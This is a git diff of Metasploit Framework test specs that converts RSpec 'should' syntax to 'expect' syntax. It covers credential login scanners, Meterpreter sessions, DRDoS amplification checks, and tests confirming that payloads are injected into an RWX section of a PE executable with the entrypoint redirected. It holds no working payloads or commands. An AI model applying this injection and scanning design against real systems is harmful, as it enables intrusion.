it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do
|
||||
login_scanner.stub_chain(:simple, :login).and_return true
|
||||
allow(login_scanner).to receive_message_chain(:simple, :login).and_return true
|
||||
result = login_scanner.attempt_login(pub_blank)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
expect(result.access_level).to_not eq described_class::AccessLevels::ADMINISTRATOR
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/smh'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Smh do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Smh do
|
||||
|
||||
subject(:smh_cli) { described_class.new }
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/snmp'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::SNMP do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::SNMP do
|
||||
let(:public) { 'public' }
|
||||
let(:private) { nil }
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/ssh'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::SSH do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::SSH do
|
||||
let(:public) { 'root' }
|
||||
let(:private) { 'toor' }
|
||||
let(:key) { OpenSSL::PKey::RSA.generate(2048).to_s }
|
||||
|
@ -58,7 +58,7 @@ describe Metasploit::Framework::LoginScanner::SSH do
|
|||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false
|
||||
|
||||
|
||||
it { should respond_to :verbosity }
|
||||
it { is_expected.to respond_to :verbosity }
|
||||
|
||||
context 'validations' do
|
||||
|
||||
|
@ -116,7 +116,7 @@ describe Metasploit::Framework::LoginScanner::SSH do
|
|||
end
|
||||
|
||||
it 'creates a Timeout based on the connection_timeout' do
|
||||
::Timeout.should_receive(:timeout).with(ssh_scanner.connection_timeout)
|
||||
expect(::Timeout).to receive(:timeout).with(ssh_scanner.connection_timeout)
|
||||
ssh_scanner.attempt_login(pub_pri)
|
||||
end
|
||||
|
||||
|
@ -131,7 +131,7 @@ describe Metasploit::Framework::LoginScanner::SSH do
|
|||
:verbose => ssh_scanner.verbosity,
|
||||
:proxies => nil
|
||||
}
|
||||
Net::SSH.should_receive(:start).with(
|
||||
expect(Net::SSH).to receive(:start).with(
|
||||
ssh_scanner.host,
|
||||
public,
|
||||
opt_hash
|
||||
|
@ -151,7 +151,7 @@ describe Metasploit::Framework::LoginScanner::SSH do
|
|||
:verbose => ssh_scanner.verbosity,
|
||||
:proxies => nil
|
||||
}
|
||||
Net::SSH.should_receive(:start).with(
|
||||
expect(Net::SSH).to receive(:start).with(
|
||||
ssh_scanner.host,
|
||||
public,
|
||||
hash_including(opt_hash)
|
||||
|
@ -163,37 +163,37 @@ describe Metasploit::Framework::LoginScanner::SSH do
|
|||
context 'when it fails' do
|
||||
|
||||
it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do
|
||||
Net::SSH.should_receive(:start) { raise Rex::ConnectionError }
|
||||
expect(Net::SSH).to receive(:start) { raise Rex::ConnectionError }
|
||||
expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do
|
||||
Net::SSH.should_receive(:start) { raise Rex::AddressInUse }
|
||||
expect(Net::SSH).to receive(:start) { raise Rex::AddressInUse }
|
||||
expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns :connection_disconnect for a Net::SSH::Disconnect' do
|
||||
Net::SSH.should_receive(:start) { raise Net::SSH::Disconnect }
|
||||
expect(Net::SSH).to receive(:start) { raise Net::SSH::Disconnect }
|
||||
expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns :connection_disconnect for a ::EOFError' do
|
||||
Net::SSH.should_receive(:start) { raise ::EOFError }
|
||||
expect(Net::SSH).to receive(:start) { raise ::EOFError }
|
||||
expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns :connection_disconnect for a ::Timeout::Error' do
|
||||
Net::SSH.should_receive(:start) { raise ::Timeout::Error }
|
||||
expect(Net::SSH).to receive(:start) { raise ::Timeout::Error }
|
||||
expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns [:fail,nil] for a Net::SSH::Exception' do
|
||||
Net::SSH.should_receive(:start) { raise Net::SSH::Exception }
|
||||
expect(Net::SSH).to receive(:start) { raise Net::SSH::Exception }
|
||||
expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
it 'returns [:fail,nil] if no socket returned' do
|
||||
Net::SSH.should_receive(:start).and_return nil
|
||||
expect(Net::SSH).to receive(:start).and_return nil
|
||||
expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
end
|
||||
|
@ -201,16 +201,16 @@ describe Metasploit::Framework::LoginScanner::SSH do
|
|||
context 'when it succeeds' do
|
||||
|
||||
it 'gathers proof of the connections' do
|
||||
Net::SSH.should_receive(:start) {"fake_socket"}
|
||||
expect(Net::SSH).to receive(:start) {"fake_socket"}
|
||||
my_scanner = ssh_scanner
|
||||
my_scanner.should_receive(:gather_proof)
|
||||
expect(my_scanner).to receive(:gather_proof)
|
||||
my_scanner.attempt_login(pub_pri)
|
||||
end
|
||||
|
||||
it 'returns a success code and proof' do
|
||||
Net::SSH.should_receive(:start) {"fake_socket"}
|
||||
expect(Net::SSH).to receive(:start) {"fake_socket"}
|
||||
my_scanner = ssh_scanner
|
||||
my_scanner.should_receive(:gather_proof).and_return(public)
|
||||
expect(my_scanner).to receive(:gather_proof).and_return(public)
|
||||
expect(my_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/symantec_web_gateway'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::SymantecWebGateway do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::SymantecWebGateway do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/telnet'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Telnet do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Telnet do
|
||||
|
||||
subject(:login_scanner) { described_class.new }
|
||||
|
||||
|
@ -9,8 +9,8 @@ describe Metasploit::Framework::LoginScanner::Telnet do
|
|||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
it_behaves_like 'Metasploit::Framework::Tcp::Client'
|
||||
|
||||
it { should respond_to :banner_timeout }
|
||||
it { should respond_to :telnet_timeout }
|
||||
it { is_expected.to respond_to :banner_timeout }
|
||||
it { is_expected.to respond_to :telnet_timeout }
|
||||
|
||||
context 'validations' do
|
||||
context 'banner_timeout' do
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/tomcat'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Tomcat do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Tomcat do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/vmauthd'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::VMAUTHD do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::VMAUTHD do
|
||||
subject(:scanner) { described_class.new }
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/vnc'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::VNC do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::VNC do
|
||||
let(:private) { 'password' }
|
||||
let(:blank) { '' }
|
||||
let(:test_cred) {
|
||||
|
@ -19,19 +19,19 @@ describe Metasploit::Framework::LoginScanner::VNC do
|
|||
|
||||
context '#attempt_login' do
|
||||
it 'creates a new RFB client' do
|
||||
Rex::Proto::RFB::Client.should_receive(:new).and_call_original
|
||||
expect(Rex::Proto::RFB::Client).to receive(:new).and_call_original
|
||||
login_scanner.attempt_login(test_cred)
|
||||
end
|
||||
|
||||
it 'returns a connection_error result when the handshake fails' do
|
||||
Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return false
|
||||
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return false
|
||||
result = login_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns a failed result when authentication fails' do
|
||||
Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return true
|
||||
Rex::Proto::RFB::Client.any_instance.should_receive(:authenticate).with(private).and_return false
|
||||
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return true
|
||||
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate).with(private).and_return false
|
||||
result = login_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
@ -39,7 +39,7 @@ describe Metasploit::Framework::LoginScanner::VNC do
|
|||
context 'when the socket errors' do
|
||||
it 'returns a connection_error result for an EOFError' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:connect).and_raise ::EOFError
|
||||
expect(my_scanner).to receive(:connect).and_raise ::EOFError
|
||||
result = my_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
expect(result.proof).to eq ::EOFError.new.to_s
|
||||
|
@ -47,7 +47,7 @@ describe Metasploit::Framework::LoginScanner::VNC do
|
|||
|
||||
it 'returns a connection_error result for an Rex::AddressInUse' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:connect).and_raise ::Rex::AddressInUse
|
||||
expect(my_scanner).to receive(:connect).and_raise ::Rex::AddressInUse
|
||||
result = my_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
expect(result.proof).to eq ::Rex::AddressInUse.new.to_s
|
||||
|
@ -55,7 +55,7 @@ describe Metasploit::Framework::LoginScanner::VNC do
|
|||
|
||||
it 'returns a connection_error result for an Rex::ConnectionError' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError
|
||||
expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionError
|
||||
result = my_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
expect(result.proof).to eq ::Rex::ConnectionError.new.to_s
|
||||
|
@ -63,7 +63,7 @@ describe Metasploit::Framework::LoginScanner::VNC do
|
|||
|
||||
it 'returns a connection_error result for an Rex::ConnectionTimeout' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout
|
||||
expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionTimeout
|
||||
result = my_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
expect(result.proof).to eq ::Rex::ConnectionTimeout.new.to_s
|
||||
|
@ -71,7 +71,7 @@ describe Metasploit::Framework::LoginScanner::VNC do
|
|||
|
||||
it 'returns a connection_error result for an ::Timeout::Error' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:connect).and_raise ::Timeout::Error
|
||||
expect(my_scanner).to receive(:connect).and_raise ::Timeout::Error
|
||||
result = my_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
expect(result.proof).to eq ::Timeout::Error.new.to_s
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/winrm'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::WinRM do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::WinRM do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/wordpress_rpc'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::WordpressRPC do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::WordpressRPC do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/zabbix'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Zabbix do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Zabbix do
|
||||
|
||||
subject(:http_scanner) { described_class.new }
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'metasploit/framework/login_scanner/http'
|
|||
require 'metasploit/framework/login_scanner/smb'
|
||||
require 'metasploit/framework/login_scanner/vnc'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner do
|
||||
|
||||
subject { described_class.classes_for_service(service) }
|
||||
let(:port) { nil }
|
||||
|
@ -20,36 +20,36 @@ describe Metasploit::Framework::LoginScanner do
|
|||
context "with name 'smb'" do
|
||||
let(:name) { 'smb' }
|
||||
|
||||
it { should include Metasploit::Framework::LoginScanner::SMB }
|
||||
it { should_not include Metasploit::Framework::LoginScanner::HTTP }
|
||||
it { is_expected.to include Metasploit::Framework::LoginScanner::SMB }
|
||||
it { is_expected.not_to include Metasploit::Framework::LoginScanner::HTTP }
|
||||
end
|
||||
|
||||
[ 139, 445 ].each do |foo|
|
||||
context "with port #{foo}" do
|
||||
let(:port) { foo }
|
||||
|
||||
it { should include Metasploit::Framework::LoginScanner::SMB }
|
||||
it { should_not include Metasploit::Framework::LoginScanner::HTTP }
|
||||
it { should_not include Metasploit::Framework::LoginScanner::VNC }
|
||||
it { is_expected.to include Metasploit::Framework::LoginScanner::SMB }
|
||||
it { is_expected.not_to include Metasploit::Framework::LoginScanner::HTTP }
|
||||
it { is_expected.not_to include Metasploit::Framework::LoginScanner::VNC }
|
||||
end
|
||||
end
|
||||
|
||||
context "with name 'http'" do
|
||||
let(:name) { 'http' }
|
||||
|
||||
it { should include Metasploit::Framework::LoginScanner::HTTP }
|
||||
it { should_not include Metasploit::Framework::LoginScanner::SMB }
|
||||
it { should_not include Metasploit::Framework::LoginScanner::VNC }
|
||||
it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP }
|
||||
it { is_expected.not_to include Metasploit::Framework::LoginScanner::SMB }
|
||||
it { is_expected.not_to include Metasploit::Framework::LoginScanner::VNC }
|
||||
end
|
||||
|
||||
[ 80, 8080, 8000, 443 ].each do |foo|
|
||||
context "with port #{foo}" do
|
||||
let(:port) { foo }
|
||||
|
||||
it { should include Metasploit::Framework::LoginScanner::HTTP }
|
||||
it { should include Metasploit::Framework::LoginScanner::Axis2 }
|
||||
it { should include Metasploit::Framework::LoginScanner::Tomcat }
|
||||
it { should_not include Metasploit::Framework::LoginScanner::SMB }
|
||||
it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP }
|
||||
it { is_expected.to include Metasploit::Framework::LoginScanner::Axis2 }
|
||||
it { is_expected.to include Metasploit::Framework::LoginScanner::Tomcat }
|
||||
it { is_expected.not_to include Metasploit::Framework::LoginScanner::SMB }
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@ require 'msf/base/sessions/mainframe_shell'
|
|||
# A quick test that MainframeShell is operable
|
||||
# Author: Bigendian Smalls
|
||||
#
|
||||
describe Msf::Sessions::MainframeShell do
|
||||
RSpec.describe Msf::Sessions::MainframeShell do
|
||||
it 'extends Msf::Sessions::CommandShell to include EBCDIC cp1047 codepage translation' do
|
||||
args=[0,
|
||||
{:datastore=>
|
||||
|
|
|
@ -3,7 +3,7 @@ require 'msf/base/sessions/meterpreter'
|
|||
require 'rex/post/meterpreter/extensions/stdapi/net/interface'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/net/route'
|
||||
|
||||
describe Msf::Sessions::Meterpreter do
|
||||
RSpec.describe Msf::Sessions::Meterpreter do
|
||||
before do
|
||||
allow_any_instance_of(Rex::Post::Meterpreter::PacketDispatcher).to receive(:monitor_socket)
|
||||
end
|
||||
|
@ -34,8 +34,9 @@ describe Msf::Sessions::Meterpreter do
|
|||
|
||||
subject(:connected_address) do
|
||||
m = described_class.new(StringIO.new(""), skip_ssl: true)
|
||||
m.stub_chain(:net, :config, :get_interfaces).and_return(interfaces)
|
||||
m.stub_chain(:net, :config, :get_routes).and_return(routes)
|
||||
allow(m).to receive_message_chain(:private_methods, :net)
|
||||
allow(m).to receive_message_chain(:private_methods, :net, :config, :get_interfaces).and_return(interfaces)
|
||||
allow(m).to receive_message_chain(:private_methods, :net, :config, :get_routes).and_return(routes)
|
||||
m.session_host = session_host
|
||||
|
||||
m.send(:find_internet_connected_address)
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
require 'spec_helper'
|
||||
|
||||
describe Msf::Simple::Framework do
|
||||
RSpec.describe Msf::Simple::Framework do
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
subject do
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
require 'spec_helper'
|
||||
|
||||
describe Msf::Author do
|
||||
RSpec.describe Msf::Author do
|
||||
|
||||
context 'KNOWN' do
|
||||
subject(:known) {
|
||||
|
|
|
@ -3,7 +3,7 @@ require 'spec_helper'
|
|||
|
||||
require 'msf/core/auxiliary/drdos'
|
||||
|
||||
describe Msf::Auxiliary::DRDoS do
|
||||
RSpec.describe Msf::Auxiliary::DRDoS do
|
||||
subject do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
|
@ -14,25 +14,25 @@ describe Msf::Auxiliary::DRDoS do
|
|||
it 'should detect drdos when there is packet amplification only' do
|
||||
map = { 'foo' => [ 'a', 'b' ] }
|
||||
result, _ = subject.prove_amplification(map)
|
||||
result.should be true
|
||||
expect(result).to be true
|
||||
end
|
||||
|
||||
it 'should detect drdos when there is bandwidth amplification only' do
|
||||
map = { 'foo' => [ 'foofoo' ] }
|
||||
result, _ = subject.prove_amplification(map)
|
||||
result.should be true
|
||||
expect(result).to be true
|
||||
end
|
||||
|
||||
it 'should detect drdos when there is packet and bandwidth amplification' do
|
||||
map = { 'foo' => [ 'foofoo', 'a' ] }
|
||||
result, _ = subject.prove_amplification(map)
|
||||
result.should be true
|
||||
expect(result).to be true
|
||||
end
|
||||
|
||||
it 'should not detect drdos when there is no packet and no bandwidth amplification' do
|
||||
map = { 'foo' => [ 'foo' ] }
|
||||
result, _ = subject.prove_amplification(map)
|
||||
result.should be false
|
||||
expect(result).to be false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core/auxiliary/kademlia'
|
||||
|
||||
describe Msf::Auxiliary::Kademlia do
|
||||
RSpec.describe Msf::Auxiliary::Kademlia do
|
||||
subject(:kad) do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
|
|
|
@ -3,36 +3,36 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core/data_store'
|
||||
|
||||
shared_examples "datastore" do
|
||||
RSpec.shared_examples "datastore" do
|
||||
it "should have options" do
|
||||
subject["foo"].should == "bar"
|
||||
subject["fizz"].should == "buzz"
|
||||
expect(subject["foo"]).to eq "bar"
|
||||
expect(subject["fizz"]).to eq "buzz"
|
||||
end
|
||||
it "should have case-insensitive keys" do
|
||||
# Sorted by gray code, just for fun
|
||||
subject["foo"].should == "bar"
|
||||
subject["Foo"].should == "bar"
|
||||
subject["FOo"].should == "bar"
|
||||
subject["fOo"].should == "bar"
|
||||
subject["fOO"].should == "bar"
|
||||
subject["FOO"].should == "bar"
|
||||
subject["FoO"].should == "bar"
|
||||
subject["foO"].should == "bar"
|
||||
expect(subject["foo"]).to eq "bar"
|
||||
expect(subject["Foo"]).to eq "bar"
|
||||
expect(subject["FOo"]).to eq "bar"
|
||||
expect(subject["fOo"]).to eq "bar"
|
||||
expect(subject["fOO"]).to eq "bar"
|
||||
expect(subject["FOO"]).to eq "bar"
|
||||
expect(subject["FoO"]).to eq "bar"
|
||||
expect(subject["foO"]).to eq "bar"
|
||||
end
|
||||
context "#to_h" do
|
||||
it "should return a Hash with correct values" do
|
||||
subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" }
|
||||
expect(subject.to_h).to eq({ "foo" => "bar", "fizz" => "buzz" })
|
||||
end
|
||||
end
|
||||
context "#delete" do
|
||||
it "should delete the specified case-insensitive key" do
|
||||
subject.delete("foo").should == "bar"
|
||||
subject.delete("Fizz").should == "buzz"
|
||||
expect(subject.delete("foo")).to eq "bar"
|
||||
expect(subject.delete("Fizz")).to eq "buzz"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe Msf::DataStore do
|
||||
RSpec.describe Msf::DataStore do
|
||||
|
||||
describe "#import_option" do
|
||||
subject do
|
||||
|
@ -66,12 +66,14 @@ describe Msf::DataStore do
|
|||
|
||||
describe "#from_file" do
|
||||
subject do
|
||||
ini_instance = double
|
||||
ini_instance.stub(:group?).and_return(true)
|
||||
ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } )
|
||||
ini_instance = double group?: true,
|
||||
:[] => {
|
||||
"foo" => "bar",
|
||||
"fizz" => "buzz"
|
||||
}
|
||||
ini_class = double from_file: ini_instance
|
||||
|
||||
ini = stub_const("Rex::Parser::Ini", Class.new)
|
||||
ini.stub(:from_file).and_return(ini_instance)
|
||||
stub_const("Rex::Parser::Ini", ini_class)
|
||||
|
||||
s = described_class.new
|
||||
s.from_file("path")
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core/encoded_payload'
|
||||
|
||||
describe Msf::EncodedPayload do
|
||||
RSpec.describe Msf::EncodedPayload do
|
||||
include_context 'Msf::Simple::Framework#modules loading'
|
||||
|
||||
before do
|
||||
|
@ -62,9 +62,10 @@ describe Msf::EncodedPayload do
|
|||
end
|
||||
|
||||
context 'when passed a valid payload instance' do
|
||||
|
||||
# don't ever actually generate payload bytes
|
||||
before { described_class.any_instance.stub(:generate) }
|
||||
before(:each) do
|
||||
allow_any_instance_of(described_class).to receive(:generate)
|
||||
end
|
||||
|
||||
it 'returns an Msf::EncodedPayload instance' do
|
||||
expect(encoded_payload).to be_a(described_class)
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core/exe/segment_appender'
|
||||
|
||||
describe Msf::Exe::SegmentAppender do
|
||||
RSpec.describe Msf::Exe::SegmentAppender do
|
||||
|
||||
let(:opts) do
|
||||
option_hash = {
|
||||
|
@ -12,21 +12,21 @@ describe Msf::Exe::SegmentAppender do
|
|||
end
|
||||
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
|
||||
|
||||
it { should respond_to :payload }
|
||||
it { should respond_to :template }
|
||||
it { should respond_to :arch }
|
||||
it { should respond_to :processor }
|
||||
it { should respond_to :buffer_register }
|
||||
it { is_expected.to respond_to :payload }
|
||||
it { is_expected.to respond_to :template }
|
||||
it { is_expected.to respond_to :arch }
|
||||
it { is_expected.to respond_to :processor }
|
||||
it { is_expected.to respond_to :buffer_register }
|
||||
|
||||
it 'should return the correct processor for the arch' do
|
||||
injector.processor.class.should == Metasm::Ia32
|
||||
expect(injector.processor.class).to eq Metasm::Ia32
|
||||
injector.arch = :x64
|
||||
injector.processor.class.should == Metasm::X86_64
|
||||
expect(injector.processor.class).to eq Metasm::X86_64
|
||||
end
|
||||
|
||||
context '#create_thread_stub' do
|
||||
it 'should use edx as a default buffer register' do
|
||||
injector.buffer_register.should == 'edx'
|
||||
expect(injector.buffer_register).to eq 'edx'
|
||||
end
|
||||
|
||||
context 'when given a non-default buffer register' do
|
||||
|
@ -39,14 +39,14 @@ describe Msf::Exe::SegmentAppender do
|
|||
}
|
||||
end
|
||||
it 'should use the correct buffer register' do
|
||||
injector.buffer_register.should == 'eax'
|
||||
expect(injector.buffer_register).to eq 'eax'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate_pe' do
|
||||
it 'should return a string' do
|
||||
injector.generate_pe.kind_of?(String).should == true
|
||||
expect(injector.generate_pe.kind_of?(String)).to eq true
|
||||
end
|
||||
|
||||
it 'should produce a valid PE exe' do
|
||||
|
@ -56,25 +56,25 @@ describe Msf::Exe::SegmentAppender do
|
|||
context 'the generated exe' do
|
||||
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
|
||||
it 'should be the propper arch' do
|
||||
exe.bitsize.should == 32
|
||||
expect(exe.bitsize).to eq 32
|
||||
end
|
||||
|
||||
it 'should have 5 sections' do
|
||||
exe.sections.count.should == 5
|
||||
expect(exe.sections.count).to eq 5
|
||||
end
|
||||
|
||||
it 'should have all the right original section names' do
|
||||
s_names = []
|
||||
exe.sections.collect {|s| s_names << s.name}
|
||||
s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"]
|
||||
expect(s_names[0,4]).to eq [".text", ".rdata", ".data", ".rsrc"]
|
||||
end
|
||||
|
||||
it 'should have the last section set to RWX' do
|
||||
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
|
||||
expect(exe.sections.last.characteristics).to eq ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
|
||||
end
|
||||
|
||||
it 'should have an entrypoint that points to the last section' do
|
||||
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
|
||||
expect(exe.optheader.entrypoint).to eq exe.sections.last.virtaddr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
||||
describe Msf::Exe::SegmentInjector do
|
||||
RSpec.describe Msf::Exe::SegmentInjector do
|
||||
|
||||
let(:opts) do
|
||||
option_hash = {
|
||||
|
@ -12,21 +12,21 @@ describe Msf::Exe::SegmentInjector do
|
|||
end
|
||||
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
|
||||
|
||||
it { should respond_to :payload }
|
||||
it { should respond_to :template }
|
||||
it { should respond_to :arch }
|
||||
it { should respond_to :processor }
|
||||
it { should respond_to :buffer_register }
|
||||
it { is_expected.to respond_to :payload }
|
||||
it { is_expected.to respond_to :template }
|
||||
it { is_expected.to respond_to :arch }
|
||||
it { is_expected.to respond_to :processor }
|
||||
it { is_expected.to respond_to :buffer_register }
|
||||
|
||||
it 'should return the correct processor for the arch' do
|
||||
injector.processor.class.should == Metasm::Ia32
|
||||
expect(injector.processor.class).to eq Metasm::Ia32
|
||||
injector.arch = :x64
|
||||
injector.processor.class.should == Metasm::X86_64
|
||||
expect(injector.processor.class).to eq Metasm::X86_64
|
||||
end
|
||||
|
||||
context '#create_thread_stub' do
|
||||
it 'should use edx as a default buffer register' do
|
||||
injector.buffer_register.should == 'edx'
|
||||
expect(injector.buffer_register).to eq 'edx'
|
||||
end
|
||||
|
||||
context 'when given a non-default buffer register' do
|
||||
|
@ -39,18 +39,18 @@ describe Msf::Exe::SegmentInjector do
|
|||
}
|
||||
end
|
||||
it 'should use the correct buffer register' do
|
||||
injector.buffer_register.should == 'eax'
|
||||
expect(injector.buffer_register).to eq 'eax'
|
||||
end
|
||||
end
|
||||
|
||||
it 'should set a buffer register for the payload' do
|
||||
injector.create_thread_stub.should include('lea edx, [thread_hook]')
|
||||
expect(injector.create_thread_stub).to include('lea edx, [thread_hook]')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate_pe' do
|
||||
it 'should return a string' do
|
||||
injector.generate_pe.kind_of?(String).should == true
|
||||
expect(injector.generate_pe.kind_of?(String)).to eq true
|
||||
end
|
||||
|
||||
